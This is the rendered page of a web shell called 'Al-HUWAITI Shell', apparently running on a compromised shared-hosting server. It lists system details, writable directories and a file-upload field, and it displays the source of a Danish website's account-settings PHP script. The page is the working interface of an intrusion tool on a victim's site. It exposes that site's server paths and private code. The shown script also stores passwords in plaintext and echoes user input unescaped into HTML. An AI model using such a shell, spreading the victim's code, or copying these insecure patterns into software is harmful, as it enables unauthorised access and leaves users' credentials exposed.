Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/annoncelights.dk/public_html/services_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/annoncelights.dk/public_html/services_html/change_settings.php
<?php
	include "../db_connection.php";
	include "../sessioncheck.php";
	$response = array();
	if(isset($_POST) && !empty($_POST)){
		$updated_columns = '';
		$email_column = '';
		$password_column = '';
		$username_column = '';
		$set = ''; 
		$new_email = '';
		$new_password = '';
		$new_user_name = '';
		
		$user_id=$_SESSION['id'];
		$user_sql=mysqli_query($connection,"SELECT * FROM user WHERE id=".$user_id);
		$user_result = mysqli_fetch_assoc($user_sql);
		$current_email = $user_result['email'];
		$current_password = $user_result['password'];
		$current_user_name = $user_result['usrname'];
		$current_status = $user_result['status'];
		$now_date = date('Y-m-d H:i:s');
		
		if(isset($_POST['email_id']) && !empty($_POST['email_id'])){
			$new_email=$_POST['email_id'];
			$new_email = stripslashes($new_email);
			$new_email = mysqli_real_escape_string($connection, $new_email);
			if($current_email != $new_email){
				$email_sql=mysqli_query($connection,"SELECT email FROM user WHERE email='".$new_email."' AND id!=".$user_id);
				$email_result = mysqli_num_rows($email_sql);
				if($email_result != 0){
					$response['message'] = 'Email er allerede brugt! Brug en anden email!';
					echo json_encode($response);
					return;
				}
				$activationcode=md5($new_email.time());
				$set .= (!empty($set) ? ', ' : '') . "new_email_request='".$new_email."', activationcode='".$activationcode."', last_mail_sent='".$now_date."'";
				$updated_columns .= (!empty($updated_columns) ? ', ' : '') . "Email";
				$email_column = 'Email';
			}
		}
		
		if(isset($_POST['username']) && !empty($_POST['username'])){
			$new_user_name=$_POST['username'];
			$new_user_name = stripslashes($new_user_name);
			$new_user_name = mysqli_real_escape_string($connection, $new_user_name);
			if($current_user_name != $new_user_name){
				$username_sql=mysqli_query($connection,"SELECT usrname FROM user WHERE usrname='".$new_user_name."' AND id!=".$user_id);
				$username_result = mysqli_num_rows($username_sql);
				if($username_result == 0){
					$set .= (!empty($set) ? ', ' : '') . "usrname='".$new_user_name."'";
					$updated_columns .= (!empty($updated_columns) ? ', ' : '') . "Username";
					$username_column = 'Brugernavn';
				}else{
					$response['message'] = 'Dette brugernavn er allerede taget af nogen! Vælg et andet brugernavn!';
					echo json_encode($response);
					return;
				}
			}
		}
		
		if(isset($_POST['new_password']) && !empty($_POST['new_password'])){
			$new_password=$_POST['new_password'];
			$new_password = stripslashes($new_password);
			$new_password = mysqli_real_escape_string($connection, $new_password);
			if($current_password != $new_password){
				$set .= (!empty($set) ? ', ' : '') . "password='".$new_password."'";
				$updated_columns .= (!empty($updated_columns) ? ', ' : '') . "Password";
				$password_column = 'Adgangskode';
			}
		}
		
		if(isset($_POST['pref_lang']) && !empty($_POST['pref_lang'])){
			$pref_lang=$_POST['pref_lang'];
			$pref_lang = stripslashes($pref_lang);
			$pref_lang = mysqli_real_escape_string($connection, $pref_lang);
			 
				$set .= (!empty($set) ? ', ' : '') . "pref_lang='".$pref_lang."'";
				$updated_columns .= (!empty($updated_columns) ? ', ' : '') . "Foretrukne sprog";
				$pref_lang_column = 'Foretrukne sprog';
			 
		}
		
		if($set != ''){
			$update_sql = "UPDATE user SET $set WHERE id=$user_id";
			$result=mysqli_query($connection,$update_sql);
			if($result && $current_email != $new_email){
				$to=$new_email;
				$msg= "Kære $current_user_name \n";   
				$subject="Email verifikation (".MAIN_EMAIL_NAME.")";
				$headers='From:'.MAIN_EMAIL_NAME.' <'.MAIN_EMAIL.'>';
				$msg.="Oplysninger ændret succesfuldt. Du har også anmodet om ændring af e-mail\n";
				$msg.="Klik venligst på Følgende link for at bekræfte og ændre din email-adresse. \n
				\n".SUB_URL."/email_verification.php?code=$activationcode";
				mail($to,$subject,$msg,$headers);
				$message = '';
				if(!empty($email_column)){
					$message .= $email_column."<br>";
				}
				if(!empty($password_column)){
					$message .= $password_column."<br>";
				}
				if(!empty($username_column)){
					$message .= $username_column."<br>";
				}
				$message .= 'Opdateret med succes.<br>';
				$message .= "Tjek din email for at bekræfte den nye e-mail.";
				
				if($current_status == 1){
					$response['change_notification'] = '<label class="notify_change">Vennligst bekræft <strong class="new-email">'.$new_email.'</strong> for at ændre gældende e-mail ! <br> Tjek postkassen for at bekræfte ! <br> Husk at tjekke mappen spam !</label><button type="button" name="verification_link" id="verification_link" class="btn btn-custom btn-sm" data-email="'.$new_email.'">Send bekræftelseslinket igen</button>';
				}else{
					$response['change_notification'] = $new_email;
				}
				
				$response['current_status'] = $current_status;
				$response['message'] = $message;
				
			}elseif($result){
				$message = '';
				if(!empty($email_column)){
					$message .= $email_column."<br>";
				}
				if(!empty($password_column)){
					$message .= $password_column."<br>";
				}
				if(!empty($username_column)){
					$message .= $username_column."<br>";
				}
				if(!empty($pref_lang_column)){
					$message .= $pref_lang_column."<br>";
				}
				$message .= 'Opdateret med succes.';
				$response['message'] = $message;
			}else{
				$response['message'] = "Fejl i datopdateringen.";
			}
		}
		echo json_encode($response);
	}
?>

Al-HUWAITI Shell